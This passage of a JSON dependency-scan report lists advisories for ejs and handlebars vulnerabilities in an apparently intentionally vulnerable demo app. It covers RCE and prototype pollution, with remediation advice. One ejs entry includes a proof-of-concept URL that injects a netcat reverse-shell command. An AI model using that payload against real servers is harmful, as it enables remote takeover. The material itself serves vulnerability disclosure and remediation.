"creationTime": "2022-04-26T09:01:03.387695Z",
"credit": [
"evi0s"
],
"cvssScore": 8.1,
"description": "## Overview\n[ejs](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the `view options` parameter of `renderFile`, which makes it possible to inject code into `outputFunctionName`.\r\n\r\n\r\n**Note:**\r\nThis vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.\r\n\r\n## PoC:\r\nCreation of reverse shell:\r\n```\r\nhttp://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s\r\n```\n## Remediation\nUpgrade `ejs` to version 3.1.7 or higher.\n## References\n- [GitHub Commit](https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf)\n- [GitHub Issue](https://github.com/mde/ejs/issues/451)\n- [GitHub Release](https://github.com/mde/ejs/releases)\n- [Security Advisory](https://eslam.io/posts/ejs-server-side-template-injection-rce/)\n",
"disclosureTime": "2022-04-26T08:36:18Z",
"exploit": "Proof of Concept",
"functions": [],
"fixedIn": [
"3.1.7"
],
"id": "SNYK-JS-EJS-2803307",
"identifiers": {
"CWE": [
"CWE-94"
],
"CVE": [
"CVE-2022-29078"
]
},
"language": "js",
"malicious": false,
"modificationTime": "2022-04-26T13:41:31.873315Z",
"moduleName": "ejs",
"packageManager": "npm",
"packageName": "ejs",
"patches": [],
"proprietary": false,
"publicationTime": "2022-04-26T13:41:31.870922Z",
"references": [
{
"title": "GitHub Commit",
"url": "https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf"
},
{
"title": "GitHub Issue",
"url": "https://github.com/mde/ejs/issues/451"
},
{
"title": "GitHub Release",
"url": "https://github.com/mde/ejs/releases"
},
{
"title": "Security Advisory",
"url": "https://eslam.io/posts/ejs-server-side-template-injection-rce/"
}
],
"severity": "high",
"socialTrendAlert": false,
"title": "Remote Code Execution (RCE)",
"insights": {
"triageAdvice": null
},
"functions_new": [],
"semver": {
"vulnerable": [
"<3.1.7"
]
},
"severityWithCritical": "high",
"from": [
"goof@1.0.1",
"ejs-locals@1.0.2",
"ejs@0.8.8"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "ejs",
"version": "0.8.8"
},
{
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"alternativeIds": [
"SNYK-JS-EJS-10218"
],
"creationTime": "2016-11-28T18:44:12.405000Z",
"credit": [
"Snyk Security Research Team"
],
"cvssScore": 8.1,
"description": "## Overview\r\n[`ejs`](https://www.npmjs.com/package/ejs) is a popular JavaScript templating engine.\r\nAffected versions of the package are vulnerable to _Remote Code Execution_ by letting the attacker under certain conditions control the source folder from which the engine renders include files.\r\nYou can read more about this vulnerability on the [Snyk blog](https://snyk.io/blog/fixing-ejs-rce-vuln).\r\n\r\nThere's also a [Cross-site Scripting](https://snyk.io/vuln/npm:ejs:20161130) & [Denial of Service](https://snyk.io/vuln/npm:ejs:20161130-1) vulnerabilities caused by the same behaviour. \r\n\r\n## Details\r\n`ejs` provides a few different options for you to render a template, two being very similar: `ejs.render()` and `ejs.renderFile()`. The only difference being that `render` expects a string to be used for the template and `renderFile` expects a path to a template file.\r\n\r\nBoth functions can be invoked in two ways. The first is calling them with `template`, `data`, and `options`:\r\n```js\r\nejs.render(str, data, options);\r\n\r\nejs.renderFile(filename, data, options, callback)\r\n```\r\nThe second way would be by calling only the `template` and `data`, while `ejs` lets the `options` be passed as part of the `data`:\r\n```js\r\nejs.render(str, dataAndOptions);\r\n\r\nejs.renderFile(filename, dataAndOptions, callback)\r\n```\r\n\r\nIf used with a variable list supplied by the user (e.g. by reading it from the URI with `qs` or equivalent), an attacker can control `ejs` options. This includes the `root` option, which allows changing the project root for includes with an absolute path. \r\n\r\n```js\r\nejs.renderFile('my-template', {root:'/bad/root/'}, callback);\r\n```\r\n\r\nBy passing along the root directive in the line above, any includes would now be pulled from `/bad/root` instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.\r\n\r\nThe [fix](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6) introduced in version `2.5.3` blacklisted `root` options from options passed via the `data` object.\r\n\r\n## Disclosure Timeline\r\n- November 27th, 2016 - Reported the issue to package owner.\r\n- November 27th, 2016 - Issue acknowledged by package owner.\r\n- November 28th, 2016 - Issue fixed and version `2.5.3` released.\r\n\r\n## Remediation\r\nThe vulnerability can be resolved by either using the GitHub integration to [generate a pull-request](https://snyk.io/org/projects) from your dashboard or by running `snyk wizard` from the command-line interface.\r\nOtherwise, Upgrade `ejs` to version `2.5.3` or higher.\r\n\r\n## References\r\n- [Snyk Blog](https://snyk.io/blog/fixing-ejs-rce-vuln)\r\n- [Fix commit](https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6)",
"disclosureTime": "2016-11-27T22:00:00Z",
"exploit": "Not Defined",
"functions": [
{
"functionId": {
"filePath": "lib/ejs.js",
"className": null,
"functionName": "cpOptsInData"
},
"version": [
">=2.2.1 <2.5.3"
]
},
{
"functionId": {
"filePath": "ejs.js",
"className": null,
"functionName": "1.cpOptsInData"
},
"version": [
">=2.2.1 <2.5.3"
]
},
{
"functionId": {
"filePath": "ejs.js",
"className": null,
"functionName": "1.exports.render"
},
"version": [
"<2.2.1"
]
},
{
"functionId": {
"filePath": "lib/ejs.js",
"className": null,
"functionName": "exports.render"
},
"version": [
"<2.2.1"
]
}
],
"fixedIn": [
"2.5.3"
],
"id": "npm:ejs:20161128",
"identifiers": {
"CWE": [
"CWE-94"
],
"ALTERNATIVE": [
"SNYK-JS-EJS-10218"
],
"CVE": [
"CVE-2017-1000228"
]
},
"language": "js",
"malicious": false,
"modificationTime": "2020-12-14T14:41:49.346213Z",
"moduleName": "ejs",
"packageManager": "npm",
"packageName": "ejs",
"patches": [
{
"comments": [],
"id": "patch:npm:ejs:20161128:0",
"modificationTime": "2019-12-03T11:40:45.851976Z",
"urls": [
"https://snyk-patches.s3.amazonaws.com/npm/ejs/20161128/ejs_20161128_0_0_3d447c5a335844b25faec04b1132dbc721f9c8f6.patch"
],
"version": "<2.5.3 >=2.2.4"
}
],
"proprietary": true,
"publicationTime": "2016-11-28T18:44:12Z",
"references": [
{
"title": "GitHub Commit",
"url": "https://github.com/mde/ejs/commit/3d447c5a335844b25faec04b1132dbc721f9c8f6"
},
{
"title": "Snyk Blog",
"url": "https://snyk.io/blog/fixing-ejs-rce-vuln"
}
],
"severity": "high",
"socialTrendAlert": false,
"title": "Arbitrary Code Execution",
"insights": {
"triageAdvice": null
},
"functions_new": [
{
"functionId": {
"filePath": "lib/ejs.js",
"functionName": "cpOptsInData"
},
"version": [
">=2.2.1 <2.5.3"
]
},
{
"functionId": {
"filePath": "ejs.js",
"functionName": "1.cpOptsInData"
},
"version": [
">=2.2.1 <2.5.3"
]
},
{
"functionId": {
"filePath": "ejs.js",
"functionName": "1.exports.render"
},
"version": [
"<2.2.1"
]
},
{
"functionId": {
"filePath": "lib/ejs.js",
"functionName": "exports.render"
},
"version": [
"<2.2.1"
]
}
],
"semver": {
"vulnerable": [
"<2.5.3"
]
},
"severityWithCritical": "high",
"from": [
"goof@1.0.1",
"ejs-locals@1.0.2",
"ejs@0.8.8"
],
"upgradePath": [],
"isUpgradable": false,
"isPatchable": false,
"name": "ejs",
"version": "0.8.8"
},
{
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L",
"alternativeIds": [],
"creationTime": "2019-11-15T15:45:34.906048Z",
"credit": [
"Francois Lajeunesse-Robert"
],
"cvssScore": 8.1,
"description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.\n## Remediation\nUpgrade `handlebars` to version 4.5.3, 3.0.8 or higher.\n## References\n- [NPM Security Advisory #1](https://www.npmjs.com/advisories/1316)\n- [NPM Security Advisory #2](https://www.npmjs.com/advisories/1324)\n",
"disclosureTime": "2019-11-14T15:29:41Z",
"exploit": "Not Defined",
"functions": [],
"fixedIn": [
"4.5.3",
"3.0.8"
],
"id": "SNYK-JS-HANDLEBARS-534478",
"identifiers": {
"CWE": [
"CWE-94"
],
"NSP": [
"1316",
"1324"
],
"CVE": [
"CVE-2019-20920"
],
"GHSA": [
"GHSA-q2c6-c6pm-g3gh",
"GHSA-2cf5-4w76-r9qv"
]
},
"language": "js",
"malicious": false,
"modificationTime": "2022-02-11T12:35:29.725892Z",
"moduleName": "handlebars",
"packageManager": "npm",
"packageName": "handlebars",
"patches": [],
"proprietary": false,
"publicationTime": "2019-11-15T15:48:43Z",
"references": [
{
"title": "NPM Security Advisory #1",
"url": "https://www.npmjs.com/advisories/1316"
},
{
"title": "NPM Security Advisory #2",
"url": "https://www.npmjs.com/advisories/1324"
}
],
"severity": "high",
"socialTrendAlert": false,
"title": "Arbitrary Code Execution",
"insights": {
"triageAdvice": null
},
"functions_new": [],
"semver": {
"vulnerable": [
">=4.0.0 <4.5.3",
"<3.0.8"
]
},
"severityWithCritical": "high",
"from": [
"goof@1.0.1",
"hbs@4.0.4",
"handlebars@4.0.14"
],
"upgradePath": [
false,
"hbs@4.1.0",
"handlebars@4.5.3"
],
"isUpgradable": true,
"isPatchable": false,
"name": "handlebars",
"version": "4.0.14"
},
{
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"alternativeIds": [],
"creationTime": "2019-11-20T09:54:27.277624Z",
"credit": [
"Vladyslav Babkin"
],
"cvssScore": 9.8,
"description": "## Overview\n\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\n\nAffected versions of this package are vulnerable to Prototype Pollution.\nIt is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions.\n\n## Details\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\r\n\r\nThere are two main ways in which the pollution of prototypes occurs:\r\n\r\n- Unsafe `Object` recursive merge\r\n \r\n- Property definition by path\r\n \r\n\r\n### Unsafe Object recursive merge\r\n\r\nThe logic of a vulnerable recursive merge function follows the following high-level model:\r\n```\r\nmerge (target, source)\r\n\r\n foreach property of source\r\n\r\n if property exists and is an object on both the target and the source\r\n\r\n merge(target[property], source[property])\r\n\r\n else\r\n\r\n target[property] = source[property]\r\n```\r\n<br> \r\n\r\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\r\n\r\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\r\n\r\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\r\n\r\n### Property definition by path\r\n\r\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\r\n\r\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\r\n\r\n## Types of attacks\r\n\r\nThere are a few methods by which Prototype Pollution can be manipulated:\r\n\r\n| Type |Origin |Short description |\r\n|--|--|--|\r\n| **Denial of service (DoS)**|Client |This is the most likely attack. <br>DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`). <br> The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service. <br>**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\r\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.<br>**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\r\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.<br> **For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\r\n\r\n## Affected environments\r\n\r\nThe following environments are susceptible to a Prototype Pollution attack:\r\n\r\n- Application server\r\n \r\n- Web server\r\n \r\n\r\n## How to prevent\r\n\r\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\r\n \r\n2. Require schema validation of JSON input.\r\n \r\n3. Avoid using unsafe recursive merge functions.\r\n \r\n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\r\n \r\n5. As a best practice use `Map` instead of `Object`.\r\n\r\n### For more information on this vulnerability type:\r\n\r\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\n\nUpgrade `handlebars` to version 4.5.3, 3.0.8 or higher.\n\n\n## References\n\n- [GitHub Commit](https://github.com/wycats/handlebars.js/commit/198887808780bbef9dba67a8af68ece091d5baa7)\n\n- [NPM Security Advisory](https://www.npmjs.com/advisories/1325)\n",
"disclosureTime": "2019-11-18T19:42:01Z",
"exploit": "Not Defined",
"functions": [],
"fixedIn": [
"4.5.3",
"3.0.8"
],
"id": "SNYK-JS-HANDLEBARS-534988",
"identifiers": {
"CWE": [
"CWE-400"
],
"NSP": [
"1325"
],
"CVE": [],
"GHSA": [
"GHSA-g9r4-xpmj-mj65"
]
},
"language": "js",
"malicious": false,
"modificationTime": "2021-02-07T10:34:40.084216Z",
"moduleName": "handlebars",
"packageManager": "npm",
"packageName": "handlebars",
"patches": [],
"proprietary": false,
"publicationTime": "2019-11-20T09:55:17Z",
"references": [
{
"title": "GitHub Commit",
"url": "https://github.com/wycats/handlebars.js/commit/198887808780bbef9dba67a8af68ece091d5baa7"
},
{
"title": "NPM Security Advisory",
"url": "https://www.npmjs.com/advisories/1325"
}
],
"severity": "critical",
"socialTrendAlert": false,
"title": "Prototype Pollution",
"insights": {
"triageAdvice": null
},
"functions_new": [],
"semver": {
"vulnerable": [
">=4.0.0 <4.5.3",
"<3.0.8"
]
},
"severityWithCritical": "critical",
"from": [
"goof@1.0.1",
"hbs@4.0.4",
"handlebars@4.0.14"
],
"upgradePath": [
false,
"hbs@4.1.0",
"handlebars@4.5.3"
],
"isUpgradable": true,
"isPatchable": false,
"name": "handlebars",
"version": "4.0.14"
},
{
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L",
"alternativeIds": [],
"creationTime": "2019-11-15T15:45:34.906048Z",
"credit": [
"Francois Lajeunesse-Robert"
],
"cvssScore": 8.1,
"description": "## Overview\n[handlebars](https://www.npmjs.com/package/handlebars) is an extension to the Mustache templating language.\n\nAffected versions of this package are vulnerable to Arbitrary Code Execution. The package's lookup helper doesn't validate templates correctly, allowing attackers to submit templates that execute arbitrary JavaScript in the system.\n## Remediation\nUpgrade `handlebars` to version 4.5.3, 3.0.8 or higher.\n## References\n- [NPM Security Advisory #1](https://www.npmjs.com/advisories/1316)\n- [NPM Security Advisory #2](https://www.npmjs.com/advisories/1324)\n",
"disclosureTime": "2019-11-14T15:29:41Z",
"exploit": "Not Defined",
"functions": [],
"fixedIn": [
"4.5.3",
"3.0.8"
],
"id": "SNYK-JS-HANDLEBARS-534478",
"identifiers": {
"CWE": [
"CWE-94"
],
"NSP": [
"1316",
"1324"
],
"CVE": [